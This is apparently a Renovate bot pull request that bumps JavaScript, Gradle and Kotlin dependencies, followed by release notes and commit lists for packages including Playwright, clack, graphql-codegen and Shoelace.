| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.3` -> `5.0.4`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.3/5.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.68` -> `3.0.0-alpha.70`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace) | [`2.19.1` -> `2.20.0`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.4` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.4/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | `from: "1.16.0"` -> `from: "1.17.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [gradle](https://gradle.org) ([source](https://redirect.github.com/gradle/gradle)) | `8.12` -> `8.12.1` | [![age](https://developer.mend.io/api/mc/badges/age/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.473.0` -> `^0.474.0`](https://renovatebot.com/diffs/npm/lucide-react/0.473.0/0.474.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.0` -> `22.13.1` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [playwright](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/playwright/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.4` -> `3.0.6`](https://renovatebot.com/diffs/npm/react-email/3.0.4/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.3.0` -> `2.3.2`](https://renovatebot.com/diffs/npm/swr/2.3.0/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.9` -> `6.1.0`](https://renovatebot.com/diffs/npm/vite/6.0.9/6.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | minor |
| [com.apollographql.apollo](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [com.apollographql.apollo:apollo-api](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [com.apollographql.apollo:apollo-runtime](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [org.jetbrains.kotlin.jvm](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [org.jetbrains.kotlin.android](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |

---

### Release Notes

<details>
<summary>natemoo-re/clack (@&#8203;clack/prompts)</summary>

### [`v0.10.0`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#0100)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.1...@clack/prompts@0.10.0)

##### Minor Changes

-   [`613179d`](https://redirect.github.com/natemoo-re/clack/commit/613179d): Adds a new `indicator` option to `spinner`, which supports the original `"dots"` loading animation or a new `"timer"` loading animation.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    const spin = p.spinner({ indicator: "timer" });
    spin.start("Loading");
    await sleep(3000);
    spin.stop("Loaded");
    ```

-   [`a38b2bc`](https://redirect.github.com/natemoo-re/clack/commit/a38b2bc): Adds `stream` API which provides the same methods as `log`, but for iterable (even async) message streams. This is particularly useful for AI responses which are dynamically generated by LLMs.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    await p.stream.step(
      (async function* () {
        yield* generateLLMResponse(question);
      })()
    );
    ```

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.4`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#504)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.3...@graphql-codegen/cli@5.0.4)

##### Patch Changes

-   [#&#8203;10248](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10248) [`72eb86f`](72eb86f49b) Thanks [@&#8203;renovate](https://redirect.github.com/apps/renovate)! - dependencies updates:

    -   Updated dependency [`@whatwg-node/fetch@^0.10.0` ↗︎](https://www.npmjs.com/package/@&#8203;whatwg-node/fetch/v/0.10.0) (from `^0.9.20`, in `dependencies`)

-   [#&#8203;10227](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10227) [`6f1741a`](6f1741af03) Thanks [@&#8203;eddeee888](https://redirect.github.com/eddeee888)! - Fix schema pointers type to allow an array of pointers

-   Updated dependencies \[[`8737dd8`](8737dd86b4), [`ed71811`](ed71811ace)]:
    -   [@&#8203;graphql-codegen/client-preset](https://redirect.github.com/graphql-codegen/client-preset)[@&#8203;4](https://redirect.github.com/4).6.0

</details>

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.70`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

### [`v3.0.0-alpha.69`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

</details>

<details>
<summary>microsoft/playwright (@&#8203;playwright/test)</summary>

### [`v1.50.1`](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...dbc685ca98bf937a318f36b0de9ed6e48dac2db5)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...v1.50.1)

### [`v1.50.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.50.0)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.49.1...v1.50.0)

#### Test runner

-   New option [`timeout`](https://playwright.dev/docs/api/class-test#test-step-option-timeout) allows specifying a maximum run time for an individual test step. A timed-out step will fail the execution of the test.

    ```js
    test('some test', async ({ page }) => {
      await test.step('a step', async () => {
        // This step can time out separately from the test
      }, { timeout: 1000 });
    });
    ```

-   New method [test.step.skip()](https://playwright.dev/docs/api/class-test#test-step-skip) to disable execution of a test step.

    ```js
    test('some test', async ({ page }) => {
      await test.step('before running step', async () => {
        // Normal step
      });

      await test.step.skip('not yet ready', async () => {
        // This step is skipped
      });

      await test.step('after running step', async () => {
        // This step still runs even though the previous one was skipped
      });
    });
    ```

-   Expanded [expect(locator).toMatchAriaSnapshot()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-match-aria-snapshot-2) to allow storing of aria snapshots in separate YAML files.

-   Added method [expect(locator).toHaveAccessibleErrorMessage()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-have-accessible-error-message) to assert the Locator points to an element with a given [aria errormessage](https://w3c.github.io/aria/#aria-errormessage).

-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) added the configuration enum `changed`. `changed` updates only the snapshots that have changed, whereas `all` now updates all snapshots, regardless of whether there are any differences.

-   New option [testConfig.updateSourceMethod](https://playwright.dev/docs/api/class-testconfig#test-config-update-source-method) defines the way source code is updated when [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) is configured. Added `overwrite` and `3-way` modes that write the changes into source code, on top of existing `patch` mode that creates a patch file.

    ```bash
    npx playwright test --update-snapshots=changed --update-source-method=3way
    ```

-   Option [testConfig.webServer](https://playwright.dev/docs/api/class-testconfig#test-config-web-server) added a `gracefulShutdown` field for specifying a process kill signal other than the default `SIGKILL`.

-   Exposed [testStep.attachments](https://playwright.dev/docs/api/class-teststep#test-step-attachments) from the reporter API to allow retrieval of all attachments created by that step.

#### UI updates

-   Updated default HTML reporter to improve display of attachments.
-   New button for picking elements to produce aria snapshots.
-   Additional details (such as keys pressed) are now displayed alongside action API calls in traces.
-   Display of `canvas` content in traces is error-prone. Display is now disabled by default, and can be enabled via the `Display canvas content` UI setting.
-   `Call` and `Network` panels now display additional time information.

#### Breaking

-   [expect(locator).toBeEditable()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-be-editable) and [locator.isEditable()](https://playwright.dev/docs/api/class-locator#locator-is-editable) now throw if the target element is not `<input>`, `<select>`, or a number of other editable elements.
-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) now updates all snapshots when set to `all`, rather than only the failed/changed snapshots. Use the new enum `changed` to keep the old functionality of only updating the changed snapshots.

#### Browser Versions

-   Chromium 133.0.6943.16
-   Mozilla Firefox 134.0
-   WebKit 18.2

This version was also tested against the following stable channels:

-   Google Chrome 132
-   Microsoft Edge 132

</details>

<details>
<summary>shoelace-style/shoelace (@&#8203;shoelace-style/shoelace)</summary>

### [`v2.20.0`](https://redirect.github.com/shoelace-style/shoelace/releases/tag/v2.20.0)

[Compare Source](https://redirect.github.com/shoelace-style/shoelace/compare/v2.19.1...v2.20.0)

#### Commits

-   [`7fd18d1`](https://redirect.github.com/shoelace-style/shoelace/commit/7fd18d1): Modify ja.ts ([#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/issues/2329)) (jz5) [#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/pull/2329)
-   [`c16c533`](https://redirect.github.com/shoelace-style/shoelace/commit/c16c533): update changelog (Cory LaViska)
-   [`7f88bb3`](https://redirect.github.com/shoelace-style/shoelace/commit/7f88bb3): Svelte documentation: adding Two-way Binding example in <sl-select> ([#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/issues/2327)) (Emanuel Saramago) [#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/pull/2327)
-   [`b5e82d6`](https://redirect.github.com/shoelace-style/shoelace/commit/b5e82d6): update docs (Cory LaViska)
-   [`81e94f2`](https://redirect.github.com/shoelace-style/shoelace/commit/81e94f2): Only trigger defaultslotchange of select after initialization ([#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/issues/2318)) (Susanne Kirchner) [#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/pull/2318)
-   [`f0c93d0`](https://redirect.github.com/shoelace-style/shoelace/commit/f0c93d0): update changelog (Cory LaViska)
-   [`6761fdc`](https://redirect.github.com/shoelace-style/shoelace/commit/6761fdc): Merge branch 'next' of https://github.com/shoelace-style/shoelace into next (Cory LaViska)
-   [`b0399ca`](https://redirect.github.com/shoelace-style/shoelace/commit/b0399ca): fix tabbable for radios ([#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/issues/2357)) (Konnor Rogers) [#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/pull/2357)
-   [`372ba1f`](https://redirect.github.com/shoelace-style/shoelace/commit/372ba1f): fix ssr for sl-alert and scrollend-polyfill ([#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/issues/2359)) (Christian Schilling) [#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/pull/2359)
-   [`69cf94b`](https://redirect.github.com/shoelace-style/shoelace/commit/69cf94b): Explain why dividers don't show if you use TailwindCSS and add a workaround. ([#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/issues/2356)) (Marcus) [#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/pull/2356)
-   [`b5f308c`](https://redirect.github.com/shoelace-style/shoelace/commit/b5f308c): move to section (Cory LaViska)
-   [`cb6460c`](https://redirect.github.com/shoelace-style/shoelace/commit/cb6460c): update action (Cory LaViska)
-   [`d93ee89`](https://redirect.github.com/shoelace-style/shoelace/commit/d93ee89): add changelog check (Cory LaViska)
-   [`0bc6d8c`](https://redirect.github.com/shoelace-style/shoelace/commit/0bc6d8c): fix error (Cory LaViska)
-   [`c3b1fb9`](https://redirect.github.com/shoelace-style/shoelace/commit/c3b1fb9): try again (Cory LaViska)
-   [`fce7f7c`](https://redirect.github.com/shoelace-style/shoelace/commit/fce7f7c): fix comment (Cory LaViska)
-   [`afc2b06`](https://redirect.github.com/shoelace-style/shoelace/commit/afc2b06): sigh (Cory LaViska)
-   [`03f8464`](https://redirect.github.com/shoelace-style/shoelace/commit/03f8464): ahem (Cory LaViska)
-   [`471e6cc`](https://redirect.github.com/shoelace-style/shoelace/commit/471e6cc): somebody save me (Cory LaViska)
-   [`c858a3a`](https://redirect.github.com/shoelace-style/shoelace/commit/c858a3a): yaml was a mistake (Cory LaViska)
-   [`5e11687`](https://redirect.github.com/shoelace-style/shoelace/commit/5e11687): save me tarides (Cory LaViska)
-   [`4530ba3`](https://redirect.github.com/shoelace-style/shoelace/commit/4530ba3): welp (Cory LaViska)
-   [`d674577`](https://redirect.github.com/shoelace-style/shoelace/commit/d674577): not today i guess (Cory LaViska)
-   [`ca8a12b`](https://redirect.github.com/shoelace-style/shoelace/commit/ca8a12b): maybe, just maybe (Cory LaViska)
-   [`74dafea`](https://redirect.github.com/shoelace-style/shoelace/commit/74dafea): somebody save me (Cory LaViska)
-   [`39e4557`](https://redirect.github.com/shoelace-style/shoelace/commit/39e4557): ok konnor (Cory LaViska)
-   [`d45e6df`](https://redirect.github.com/shoelace-style/shoelace/commit/d45e6df): revert (Cory LaViska)
-   [`e3b117d`](https://redirect.github.com/shoelace-style/shoelace/commit/e3b117d): i'll get you next time gadget! next time... (Cory LaViska)
-   [`a7aadc9`](https://redirect.github.com/shoelace-style/shoelace/commit/a7aadc9): SlSplitPanel `snap` improvements. ([#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/issues/2340)) (Auri Collings) [#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/pull/2340)
-   [`bb8f16a`](https://redirect.github.com/shoelace-style/shoelace/commit/bb8f16a): fix code field (Cory LaViska)
-   [`ee7aa09`](https://redirect.github.com/shoelace-style/shoelace/commit/ee7aa09): update changelog (Cory LaViska)
-   [`ff34da1`](https://redirect.github.com/shoelace-style/shoelace/commit/ff34da1): prettier (Cory LaViska)
